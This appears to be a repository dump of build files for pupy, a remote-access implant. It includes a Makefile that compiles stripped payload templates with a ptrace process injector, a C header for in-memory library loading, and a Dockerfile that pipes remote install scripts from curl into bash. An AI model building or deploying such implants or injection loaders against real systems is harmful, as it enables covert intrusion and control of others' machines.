exe.add_python_resources(exe.pip_install(["-r", CWD+"/requirements.txt"])) # Discover Python files from a virtualenv and add them to our embedded # context. #exe.add_python_resources(exe.read_virtualenv(path="/path/to/venv")) # Filter all resources collected so far through a filter of names # in a file. #exe.filter_resources_from_files(files=["/path/to/filter-file"]) # Return our `PythonExecutable` instance so it can be built and # referenced by other consumers of this target. return exe def make_embedded_resources(exe): x=exe.to_embedded_resources() print(x) return x def make_install(exe): # Create an object that represents our installed application file layout. files = FileManifest() # Add the generated executable to our install layout in the root directory. files.add_python_resource(".", exe) return files def make_msi(exe): # See the full docs for more. But this will convert your Python executable # into a `WiXMSIBuilder` Starlark type, which will be converted to a Windows # .msi installer when it is built. return exe.to_wix_msi_builder( # Simple identifier of your app. "myapp", # The name of your application. "My Application", # The version of your application. "1.0", # The author/manufacturer of your application. "Alice Jones" ) # Dynamically enable automatic code signing. def register_code_signers(): # You will need to run with `pyoxidizer build --var ENABLE_CODE_SIGNING 1` for # this if block to be evaluated. if not VARS.get("ENABLE_CODE_SIGNING"): return # Use a code signing certificate in a .pfx/.p12 file, prompting the # user for its path and password to open. # pfx_path = prompt_input("path to code signing certificate file") # pfx_password = prompt_password( # "password for code signing certificate file", # confirm = True # ) # signer = code_signer_from_pfx_file(pfx_path, pfx_password) # Use a code signing certificate in the Windows certificate store, specified # by its SHA-1 thumbprint. (This allows you to use YubiKeys and other # hardware tokens if they speak to the Windows certificate APIs.) # sha1_thumbprint = prompt_input( # "SHA-1 thumbprint of code signing certificate in Windows store" # ) # signer = code_signer_from_windows_store_sha1_thumbprint(sha1_thumbprint) # Choose a code signing certificate automatically from the Windows # certificate store. # signer = code_signer_from_windows_store_auto() # Activate your signer so it gets called automatically. # signer.activate() # Call our function to set up automatic code signers. register_code_signers() # Tell PyOxidizer about the build targets defined above. register_target("exe", make_exe) register_target("resources", make_embedded_resources, depends=["exe"], default_build_script=True) register_target("install", make_install, depends=["exe"], default=True) #register_target("msi_installer", make_msi, depends=["exe"]) # Resolve whatever targets the invoker of this configuration file is requesting # be resolved. resolve_targets() ================================================ FILE: client/pyoxidizer-build/requirements.txt ================================================ netaddr pyaes tinyec @ https://github.com/alxchk/tinyec/archive/master.zip rsa ================================================ FILE: client/requirements.txt ================================================ pyaes psutil==5.9.2 rsa==4.0 netaddr==0.7.19 tinyec poster win_inet_pton dnslib dukpy zeroconf==0.19.1 https://github.com/alxchk/urllib-auth/archive/master.zip ushlex; python_version<'3' ================================================ FILE: client/sources-linux-py3/.gitignore ================================================ import-tab.c import-tab.h resources_bootloader_pyc.c resources_library_compressed_string_txt.c resources_python3x_so.c resources_libcrypto_so.c resources_libssl_so.c resources_zlib_so.c resources/* *.pyc *.o build/* ================================================ FILE: client/sources-linux-py3/Dockerfile.linux-builder ================================================ FROM debian:buster RUN apt-get update -y RUN apt-get upgrade -y RUN apt-get install -y curl git make build-essential libssl-dev zlib1g-dev \ libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev \ libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev python3-openssl libcap-dev libnacl-dev unixodbc libacl1-dev libasound2-dev portaudio19-dev zip RUN curl https://pyenv.run | bash ENV HOME="/root" ENV PYENV_ROOT="$HOME/.pyenv" ENV PATH="$PYENV_ROOT/bin:$PATH" RUN echo '#!/bin/bash' >> /init.sh \ && echo 'eval "$(pyenv init -)"' >> /init.sh \ && echo 'eval "$(pyenv virtualenv-init -)"' >> /init.sh COPY docker /tmp/docker RUN pyenv install 3.10.6 --patch < /tmp/docker/pyenv-setup-build.patch RUN pyenv global 3.10.6 \ && pyenv virtualenv 3.10.6 pupy RUN curl https://sh.rustup.rs -sSf | sh -s -- -y # Add .cargo/bin to PATH ENV PATH="/root/.cargo/bin:${PATH}" RUN echo 'pyenv activate pupy' >> /init.sh RUN chmod +x /init.sh RUN bash -c "source /init.sh;" RUN echo '$@' >> /init.sh ENV TOOLCHAIN_ARCH="amd64" WORKDIR /build/workspace/project/ ENTRYPOINT ["bash", "/init.sh"] CMD ["client/sources-linux-py3/build-docker.sh"] ================================================ FILE: client/sources-linux-py3/LICENSES.txt ================================================ The DLL, SO and executable payloads for pupy contains source code from differents projects with differents licenses. All the files not from one of these projects is under pupy's license (BSD 3-Clause license) except linux-inject (GPLv2). Maybe I'll just reuse my code from (https://bitbucket.org/alxchk/ptrace-utils/src) but I'm too lasy for that stuff. Anyway. Who cares? These projects include : ---------------------------------------------------------------------------------- -py2exe : under MIT License (http://sourceforge.net/projects/py2exe/) Copyright (c) 2000-2008 Thomas Heller, Mark Hammond, Jimmy Retzlaff Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ---------------------------------------------------------------------------------- -ReflectiveDLLInjection from https://github.com/stephenfewer/ReflectiveDLLInjection Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Harmony Security nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ---------------------------------------------------------------------------------- -meterpreter (3-clause BSD license) Meterpreter is available for use under the following license, commonly known as the 3-clause (or "modified") BSD license: ========================================================================================= Meterpreter ----------- Copyright (c) 2006-2013, Rapid7 Inc Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Rapid7 nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ---------------------------------------------------------------------------------- -linux-inject (GPLv2) GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. ... ================================================ FILE: client/sources-linux-py3/Makefile ================================================ CC ?= gcc PYMAJ ?= 3 PYMIN ?= 10 OS ?= $(shell uname -s) MACH ?= $(shell uname -m) SUFFIX ?= $(PYMAJ)$(PYMIN).$(shell echo $(OS) | cut -c -3 | tr '[:upper:]' '[:lower:]') STATIC_LIBZ := -Wl,-Bstatic -lz -Wl,-Bdynamic # STATIC_LIBZ := -lz CFLAGS := $(shell pkg-config --cflags python-$(PYMAJ).$(PYMIN)) -I. -I../common -fPIC $(CFLAGS_EXTRA) -pipe -Wall LDFLAGS := $(LDFLAGS) $(STATIC_LIBZ) -lpthread -ldl -fPIC $(LDFLAGS_EXTRA) PFLAGS := -OO PIE ?= -pie CFLAGS += -D$(OS) -std=gnu99 CFLAGS += -DPYMAJ=$(PYMAJ) -DPYMIN=$(PYMIN) CFLAGS += -DPYTHON_LIB_NAME="python$(PYMAJ)$(PYMIN).so" ifeq ($(OPENSSL_LIB_VERSION),) OPENSSL_LIB_VERSION := 1.0.0 endif CFLAGS += "-DOPENSSL_LIB_VERSION=\"$(OPENSSL_LIB_VERSION)\"" ifeq ($(LIBPYTHON),) LIBPYTHON := $(shell /sbin/ldconfig -p | awk '/libpython$(PYMAJ).$(PYMIN).so/{print $$4}' | head -n 1) endif ifeq ($(LIBPYTHON_INC),) #LIBPYTHON_INC := -I/root/.pyenv/versions/3.10.6/include/python3.10/ endif ifeq ($(LIBCRYPTO),) LIBCRYPTO := $(shell /sbin/ldconfig -p | awk '/libcrypto.so.$(OPENSSL_LIB_VERSION)/{print $$4}' | head -n 1) endif ifeq ($(LIBSSL),) LIBSSL := $(shell /sbin/ldconfig -p | awk '/libssl.so.$(OPENSSL_LIB_VERSION)/{print $$4}' | head -n 1) endif ifeq ($(LIBFFI),) LIBFFI := $(shell /sbin/ldconfig -p | awk '/libffi.so.6/{print $$4}' | head -n1) endif XZARGS ?= "gcc" "aligned(0x1000)" 'section(".xzrodata")' # Compatibility for old well-known platforms ifneq ($(filter $(MACH), x86_64 i386 i486 i586 i686),) MACHNAME := ifeq ($(ARCH),) ARCH ?= $(shell file $(LIBPYTHON) | grep 32-bit >/dev/null && echo 32 || echo 64) endif ifeq ($(ARCH),64) NAME := 64 LDFLAGS += -m64 ifeq ($(DEBUG),) CFLAGS += -fvisibility=hidden endif else NAME := 86 CFLAGS += -D_FILE_OFFSET_BITS=64 endif NAME := x$(NAME) else NAME ?= $(MACH) FEATURE_INJECTOR := endif CFLAGS += -Iresources/$(MACH) -Iresources LINUX_INJECT_CFLAGS := -include fixes.h -Iinjector/src/linux ifneq ($(DEBUG),) DEBUG_ADD := -debug CFLAGS += -DDEBUG -O0 -g LDFLAGS += -g NAME := $(NAME)d DEBUG_OBJS := debug.o $(info BUILD debug with name $(NAME)) else DEBUG_OBJS := CFLAGS += -Os ifeq ($(OS),Linux) LDFLAGS += -O1 -Wl,-s -Wl,-x -Wl,--gc-sections -Wl,--no-undefined LDFLAGS += -Wl,-z,now -Wl,-z,combreloc -Wl,--enable-new-dtags else LDFLAGS += -s endif $(info BUILD non-debug with name $(NAME)) endif ifneq ($(DEBUG_USE_OS_PYTHON),) CFLAGS += -DDEBUG_USE_OS_PYTHON endif PYTHON ?= python3 TEMPLATE_OUTPUT_PATH ?= ../../pupy/payload_templates/ SHARED_OBJS := main_so.o tmplibrary_lmid.o pupy_load.o SHARED_CFLAGS := -D_PUPY_SO APP_OBJS := main_exe.o tmplibrary.o pupy_load.o COMMON_OBJS := daemonize.o decompress.o LOAD_DEPS := \ resources/$(MACH)/libssl.c \ resources/$(MACH)/libcrypto.c \ resources/$(MACH)/libffi.c \ resources/$(MACH)/python3x.c \ resources/$(MACH)/library.c \ import-tab.h revision.h ifneq ($(FEATURE_PATHMAP),) APP_OBJS += ld_hooks.o SHARED_CFLAGS += -D_LD_HOOKS_NAME=\"ld_hooks_$(NAME).so\" LOAD_DEPS += ld_hooks_$(NAME).c LOAD_SHARED_CFLAGS := \ -D_LD_HOOKS_NAME=\"ld_hooks_$(NAME).so\" \ -D_LD_HOOKS_START=ld_hooks_$(NAME)_c_start \ -D_LD_HOOKS_SIZE=ld_hooks_$(NAME)_c_size \ -include "ld_hooks_$(NAME).c" CFLAGS += -D_FEATURE_PATHMAP endif ifneq ($(DEBUG),) COMMON_OBJS += $(DEBUG_OBJS) CEXTFLAGS := --debug endif ifeq ($(UNCOMPRESSED),) COMMON_OBJS += LzmaDec.o COMPRESSED = 1 else CFLAGS += -DUNCOMPRESSED SUFFIX := unc-$(SUFFIX) COMPRESSED = 0 endif ifneq ($(FEATURE_INJECTOR),) COMMON_OBJS += injector/src/linux/elf.o COMMON_OBJS += injector/src/linux/injector.o COMMON_OBJS += injector/src/linux/ptrace.o COMMON_OBJS += injector/src/linux/remote_call.o COMMON_OBJS += injector/src/linux/util.o COMMON_OBJS += fixes.o CFLAGS += -D_FEATURE_INJECTOR -Iinjector/include LDFLAGS += -Wl,-wrap,realpath endif PUPY_LOAD_DEPS := \ pupy_load.c \ resources/$(MACH)/library.c \ resources/$(MACH)/python3x.c \ resources/$(MACH)/libssl.c \ resources/$(MACH)/libcrypto.c \ resources/$(MACH)/libffi.c \ import-tab.c revision.h all: $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX) $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX).so $(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so revision.h: if [ x"$$COMMIT" = x"" ]; then rev=`cat ../../.git/\`cat ../../.git/HEAD | cut -f 2 -d \ \` | cut -c 1-8`; \ else rev=$$COMMIT; fi; echo "#define GIT_REVISION_HEAD \"$$rev\"" >$@ debug.o: ../common/debug.c ../common/debug.h $(CC) -c -o $@ $< $(CFLAGS) resources/$(MACH)/_pupy.so: build_c_ext.py revision.h pupy.c daemonize.c tmplibrary.c decompress.c ld_hooks.c $(PYTHON) build_c_ext.py build $(CEXTFLAGS) cp -f $(shell echo build/lib.linux-*/_pupy.*) resources/$(MACH)/_pupy.so # pupy.o: revision.h ../common/jni_on_load.c ../common/Python-dynload.h import-tab.h $(PUPY_LOAD_DEPS) resources/$(MACH)/python3x.c # $(CC) -c $(LIBPYTHON_INC) -o $@ $(CFLAGS) $(SHARED_CFLAGS) $< main_so.o: main_so.c import-tab.h $(CC) -c -o $@ $< $(CFLAGS) $(LOAD_SHARED_CFLAGS) main_exe.o: main_exe.c import-tab.h $(CC) $(CFLAGS) -c -o $@ $< pupy_load.o: pupy_load.c $(LOAD_DEPS) resources/$(MACH)/_pupy.c import-tab.h Python-dynload-os.h $(CC) -c -o $@ $< $(CFLAGS) tmplibrary.o: tmplibrary.c $(CC) -c -o $@ $< $(CFLAGS) -DWIP_LMID tmplibrary_lmid.o: tmplibrary.c $(CC) -c -o $@ $< $(CFLAGS) -DWIP_LMID import-tab.c import-tab.h: ../mktab.py $(PYTHON) $(PFLAGS) $< UCS4 ifeq ($(UNCOMPRESSED),) LzmaDec.o: ../common/LzmaDec.c $(CC) $(CFLAGS) -O3 -fPIC -c -o $@ $< endif resources/$(MACH)/library.txt: ../gen_library_compressed_string.py resources/$(MACH)/library.zip $(PYTHON) $(PFLAGS) ../gen_library_compressed_string.py $@ resources/$(MACH)/library.zip resources/$(MACH)/library.c: ../gen_resource_header.py resources/$(MACH)/library.txt resources/$(MACH)/library.zip $(PYTHON) $(PFLAGS) ../gen_resource_header.py resources/$(MACH)/library.txt $@ $(COMPRESSED) $(XZARGS) ld_hooks_$(NAME).so: ld_hooks.c $(DEBUG_OBJS) $(CC) $(CFLAGS) -shared $+ -o $@ $(LDFLAGS) \ -D_LD_HOOKS_NAME=\"$@\" \ -Wl,-soname,$@ \ -Wl,--no-undefined ld_hooks_$(NAME).c: ../gen_resource_header.py ld_hooks_$(NAME).so $(PYTHON) $(PFLAGS) ../gen_resource_header.py ld_hooks_$(NAME).so $@ $(COMPRESSED) $(XZARGS) injector/%.o: injector/%.c $(CC) -c $(LINUX_INJECT_CFLAGS) $(CFLAGS) -o $@ $< resources/$(MACH)/python$(PYMAJ)$(PYMIN).so: $(LIBPYTHON) @mkdir -p resources/$(MACH) cp -f $< $@.tmp -chmod 600 $@.tmp -strip $@.tmp sed $@.tmp -e 's@/tmp@\x00tmp@g;s@/usr@\x00usr@g' >$@ || ( rm -f $@; cp $@.tmp $@ ) rm -f $@.tmp resources/$(MACH)/libcrypto.so: $(LIBCRYPTO) @mkdir -p resources/$(MACH) cp -f $< $@.tmp -chmod 600 $@.tmp -strip $@.tmp mv $@.tmp $@ rm -f $@.tmp resources/$(MACH)/libssl.so: $(LIBSSL) @mkdir -p resources/$(MACH) cp -f $< $@.tmp -chmod 600 $@.tmp -strip $@.tmp mv $@.tmp $@ rm -f $@.tmp resources/$(MACH)/libffi.so: $(LIBFFI) @mkdir -p resources/$(MACH) cp -f $< $@.tmp -chmod 600 $@.tmp -strip $@.tmp mv $@.tmp $@ rm -f $@.tmp resources/$(MACH)/library.zip: ../build_library_zip.py ../additional_imports.py $(PYTHON) -OO $(PFLAGS) $< $@ resources/$(MACH)/_pupy.c: ../gen_resource_header.py resources/$(MACH)/_pupy.so $(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS) resources/$(MACH)/python3x.c: ../gen_resource_header.py resources/$(MACH)/python$(PYMAJ)$(PYMIN).so $(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS) resources/$(MACH)/libssl.c: ../gen_resource_header.py resources/$(MACH)/libssl.so $(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS) resources/$(MACH)/libcrypto.c: ../gen_resource_header.py resources/$(MACH)/libcrypto.so $(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS) resources/$(MACH)/libffi.c: ../gen_resource_header.py resources/$(MACH)/libffi.so $(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS) $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX): $(APP_OBJS) $(COMMON_OBJS) $(CC) $(PIE) $+ -o $@ $(LDFLAGS) \ -Wl,--version-script=pupy.ldscript \ -Wl,--export-dynamic $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX).so: $(SHARED_OBJS) $(COMMON_OBJS) $(CC) -shared $+ -o $@ $(LDFLAGS) -Wl,-soname,pupy$(NAME)-$(SUFFIX).so \ -Wl,--version-script=pupy.so.ldscript $(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so: resources/$(MACH)/_pupy.so cp resources/$(MACH)/_pupy.so $(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so .PHONY: clean all clean: rm -f $(COMMON_OBJS) $(PYOBJS) rm -f pupy pupy.so rm -f *.o rm -f resources/$(MACH)/_pupy.so rm -f resources/$(MACH)/_pupy.c rm -rf build distclean: clean rm -f resources/*.c rm -f resources/$(MACH)/*.c rm -f resources/$(MACH)/_pupy.so rm -f ld_hooks_$(NAME).c rm -f ld_hooks_$(NAME).so rm -f import-tab.c rm -f import-tab.h rm -f revision.h rm -rf resources rm -rf build $(COMMON_OBJS) $(PYOBJS): import-tab.h ================================================ FILE: client/sources-linux-py3/Python-dynload-os.h ================================================ #ifndef PYTHON_DYNLOAD_OS_H #define PYTHON_DYNLOAD_OS_H #define _GNU_SOURCE #include #include #include #include #include #ifndef PYTHON_LIB_NAME #define PYTHON_LIB_NAME "python310.so" #endif #include "Python-dynload.h" #define FREE_HMODULE_AFTER_LOAD 1 #define FILE_SYSTEM_ENCODING "utf-8" typedef void *HMODULE; typedef void *(*resolve_symbol_t)(HMODULE hModule, const char *name); #ifndef OPENSSL_LIB_VERSION #define OPENSSL_LIB_VERSION "1.1" #endif typedef struct PyPreConfig { int _config_init; int parse_argv; int isolated; int use_environment; int configure_locale; int coerce_c_locale; int coerce_c_locale_warn; int legacy_windows_fs_encoding; int utf8_mode; int dev_mode; int allocator; } PyPreConfig; typedef struct { enum { _PyStatus_TYPE_OK=0, _PyStatus_TYPE_ERROR=1, _PyStatus_TYPE_EXIT=2 } _type; const char *func; const char *err_msg; int exitcode; } PyStatus; typedef struct { /* If length is greater than zero, items must be non-NULL and all items strings must be non-NULL */ Py_ssize_t length; wchar_t **items; } PyWideStringList; typedef struct PyConfig { int _config_init; /* _PyConfigInitEnum value */ int isolated; int use_environment; int dev_mode; int install_signal_handlers; int use_hash_seed; unsigned long hash_seed; int faulthandler; int tracemalloc; int perf_profiling; int import_time; int code_debug_ranges; int show_ref_count; int dump_refs; wchar_t *dump_refs_file; int malloc_stats; wchar_t *filesystem_encoding; wchar_t *filesystem_errors; wchar_t *pycache_prefix; int parse_argv; PyWideStringList orig_argv; PyWideStringList argv; PyWideStringList xoptions; PyWideStringList warnoptions; int site_import; int bytes_warning; int warn_default_encoding; int inspect; int interactive; int optimization_level; int parser_debug; int write_bytecode; int verbose; int quiet; int user_site_directory; int configure_c_stdio; int buffered_stdio; wchar_t *stdio_encoding; wchar_t *stdio_errors; #ifdef _WIN32 int legacy_windows_stdio; #endif wchar_t *check_hash_pycs_mode; int use_frozen_modules; int safe_path; int int_max_str_digits; /* --- Path configuration inputs ------------ */ int pathconfig_warnings; wchar_t *program_name; wchar_t *pythonpath_env; wchar_t *home; wchar_t *platlibdir; /* --- Path configuration outputs ----------- */ int module_search_paths_set; PyWideStringList module_search_paths; wchar_t *stdlib_dir; wchar_t *executable; wchar_t *base_executable; wchar_t *prefix; wchar_t *base_prefix; wchar_t *exec_prefix; wchar_t *base_exec_prefix; /* --- Parameter only used by Py_Main() ---------- */ int skip_source_first_line; wchar_t *run_command; wchar_t *run_module; wchar_t *run_filename; /* --- Private fields ---------------------------- */ // Install importlib? If equals to 0, importlib is not initialized at all. // Needed by freeze_importlib. int _install_importlib; // If equal to 0, stop Python initialization before the "main" phase. int _init_main; // If non-zero, disallow threads, subprocesses, and fork. // Default: 0. int _isolated_interpreter; // If non-zero, we believe we're running from a source tree. int _is_python_build; } PyConfig; #define DEPENDENCIES \ { \ { \ "libcrypto.so." OPENSSL_LIB_VERSION, \ libcrypto_c_start, \ libcrypto_c_size, \ FALSE \ }, { \ "libssl.so." OPENSSL_LIB_VERSION, \ libssl_c_start, \ libssl_c_size, \ FALSE \ }, { \ "libffi.so.6", \ libffi_c_start, \ libffi_c_size, \ FALSE \ }, { \ "python310.so", \ python3x_c_start, \ python3x_c_size, \ TRUE \ } \ } #define OSAlloc(size) malloc(size) #define OSFree(ptr) free(ptr) #define OSLoadLibrary(name) dlopen(name, RTLD_NOW) #define OSResolveSymbol dlsym #define OSUnmapRegion munmap #define MemLoadLibrary(name, bytes, size, arg) \ memdlopen(name, bytes, size, RTLD_NOW | RTLD_GLOBAL) #define MemResolveSymbol dlsym #define CheckLibraryLoaded(name) dlopen(name, RTLD_NOW | RTLD_NOLOAD) #ifndef PYTHON_DYNLOAD_OS_NO_BLOBS static const char *OSGetProgramName() { static BOOL is_set = FALSE; static char exe[PATH_MAX] = {'\0'}; if (is_set) return exe; #if defined(Linux) dprint("INVOCATION NAME: %s\n", program_invocation_name); if (readlink("/proc/self/exe", exe, sizeof(exe)) > 0) { if (strstr(exe, "/memfd:")) { snprintf(exe, sizeof(exe), "/proc/%d/exe", getpid()); } } else { char *upx_env = getenv(" "); if (upx_env) { snprintf(exe, sizeof(exe), "%s", upx_env); } } #elif defined(SunOS) strcpy(exe, getexecname()); #endif is_set = TRUE; return exe; } #include "python3x.c" #include "libcrypto.c" #include "libssl.c" #include "libffi.c" #include "tmplibrary.h" #endif #endif ================================================ FILE: client/sources-linux-py3/Python.SunOS10.Setup.dist ================================================ # -*- makefile -*- # the file Setup is used by the makesetup script to construct the files # Makefile and config.c, from Makefile.pre and config.c.in, # respectively. The file Setup itself is initially copied from # Setup.dist; once it exists it will not be overwritten, so you can edit # Setup to your heart's content. Note that Makefile.pre is created # from Makefile.pre.in by the toplevel configure script. # (VPATH notes: Setup and Makefile.pre are in the build directory, as # are Makefile and config.c; the *.in and *.dist files are in the source # directory.) # Each line in this file describes one or more optional modules. # Modules enabled here will not be compiled by the setup.py script, # so the file can be used to override setup.py's behavior. # Lines have the following structure: # # ... [ ...] [ ...] [ ...] # # is anything ending in .c (.C, .cc, .c++ are C++ files) # is anything starting with -I, -D, -U or -C # is anything ending in .a or beginning with -l or -L # is anything else but should be a valid Python # identifier (letters, digits, underscores, beginning with non-digit) # # (As the makesetup script changes, it may recognize some other # arguments as well, e.g. *.so and *.sl as libraries. See the big # case statement in the makesetup script.) # # Lines can also have the form # # = # # which defines a Make variable definition inserted into Makefile.in # # Finally, if a line contains just the word "*shared*" (without the # quotes but with the stars), then the following modules will not be # built statically. The build process works like this: # # 1. Build all modules that are declared as static in Modules/Setup, # combine them into libpythonxy.a, combine that into python. # 2. Build all modules that are listed as shared in Modules/Setup. # 3. Invoke setup.py. That builds all modules that # a) are not builtin, and # b) are not listed in Modules/Setup, and # c) can be build on the target # # Therefore, modules declared to be shared will not be # included in the config.c file, nor in the list of objects to be # added to the library archive, and their linker options won't be # added to the linker options. Rules to create their .o files and # their shared libraries will still be added to the Makefile, and # their names will be collected in the Make variable SHAREDMODS. This # is used to build modules as shared libraries. (They can be # installed using "make sharedinstall", which is implied by the # toplevel "make install" target.) (For compatibility, # *noconfig* has the same effect as *shared*.) # # In addition, *static* explicitly declares the following modules to # be static. Lines containing "*static*" and "*shared*" may thus # alternate throughout this file. # NOTE: As a standard policy, as many modules as can be supported by a # platform should be present. The distribution comes with all modules # enabled that are supported by most platforms and don't require you # to ftp sources from elsewhere. # Some special rules to define PYTHONPATH. # Edit the definitions below to indicate which options you are using. # Don't add any whitespace or comments! # Directories where library files get installed. # DESTLIB is for Python modules; MACHDESTLIB for shared libraries. DESTLIB=$(LIBDEST) MACHDESTLIB=$(BINLIBDEST) # NOTE: all the paths are now relative to the prefix that is computed # at run time! # Standard path -- don't edit. # No leading colon since this is the first entry. # Empty since this is now just the runtime prefix. DESTPATH= # Site specific path components -- should begin with : if non-empty SITEPATH= # Standard path components for test modules TESTPATH= # Path components for machine- or system-dependent modules and shared libraries MACHDEPPATH=:$(PLATDIR) EXTRAMACHDEPPATH= # Path component for the Tkinter-related modules # The TKPATH variable is always enabled, to save you the effort. TKPATH=:lib-tk # Path component for old modules. OLDPATH=:lib-old COREPYTHONPATH=$(DESTPATH)$(SITEPATH)$(TESTPATH)$(MACHDEPPATH)$(EXTRAMACHDEPPATH)$(TKPATH)$(OLDPATH) PYTHONPATH=$(COREPYTHONPATH) # The modules listed here can't be built as shared libraries for # various reasons; therefore they are listed here instead of in the # normal order. # This only contains the minimal set of modules required to run the # setup.py script in the root of the Python source tree. posix posixmodule.c # posix (UNIX) system calls errno errnomodule.c # posix (UNIX) errno values pwd pwdmodule.c # this is needed to find out the user's home dir # if $HOME is not set _sre _sre.c # Fredrik Lundh's new regular expressions _codecs _codecsmodule.c # access to the builtin codecs and codec registry _weakref _weakref.c # weak references # The zipimport module is always imported at startup. Having it as a # builtin module avoids some bootstrapping problems and reduces overhead. zipimport zipimport.c # The rest of the modules listed in this file are all commented out by # default. Usually they can be detected and built as dynamically # loaded modules by the new setup.py script added in Python 2.1. If # you're on a platform that doesn't support dynamic loading, want to # compile modules statically into the Python binary, or need to # specify some odd set of compiler switches, you can uncomment the # appropriate lines below. # ====================================================================== # The Python symtable module depends on .h files that setup.py doesn't track _symtable symtablemodule.c # The SGI specific GL module: GLHACK=-Dclear=__GLclear #gl glmodule.c cgensupport.c -I$(srcdir) $(GLHACK) -lgl -lX11 # Pure module. Cannot be linked dynamically. # -DWITH_QUANTIFY, -DWITH_PURIFY, or -DWITH_ALL_PURE #WHICH_PURE_PRODUCTS=-DWITH_ALL_PURE #PURE_INCLS=-I/usr/local/include #PURE_STUBLIBS=-L/usr/local/lib -lpurify_stubs -lquantify_stubs #pure puremodule.c $(WHICH_PURE_PRODUCTS) $(PURE_INCLS) $(PURE_STUBLIBS) # Uncommenting the following line tells makesetup that all following # modules are to be built as shared libraries (see above for more # detail; also note that *static* reverses this effect): #*shared* # GNU readline. Unlike previous Python incarnations, GNU readline is # now incorporated in an optional module, configured in the Setup file # instead of by a configure script switch. You may have to insert a # -L option pointing to the directory where libreadline.* lives, # and you may have to change -ltermcap to -ltermlib or perhaps remove # it, depending on your system -- see the GNU readline instructions. # It's okay for this to be a shared library, too. #readline readline.c -lreadline -ltermcap # Modules that should always be present (non UNIX dependent): array arraymodule.c # array objects cmath cmathmodule.c -lm # complex math library functions math mathmodule.c _math.c # -lm # math library functions, e.g. sin() _struct _struct.c # binary structure packing/unpacking time timemodule.c # -lm # 